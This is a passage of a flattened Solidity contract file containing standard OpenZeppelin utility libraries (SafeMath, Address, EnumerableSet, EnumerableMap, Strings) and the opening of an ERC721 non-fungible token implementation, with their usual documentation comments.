*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
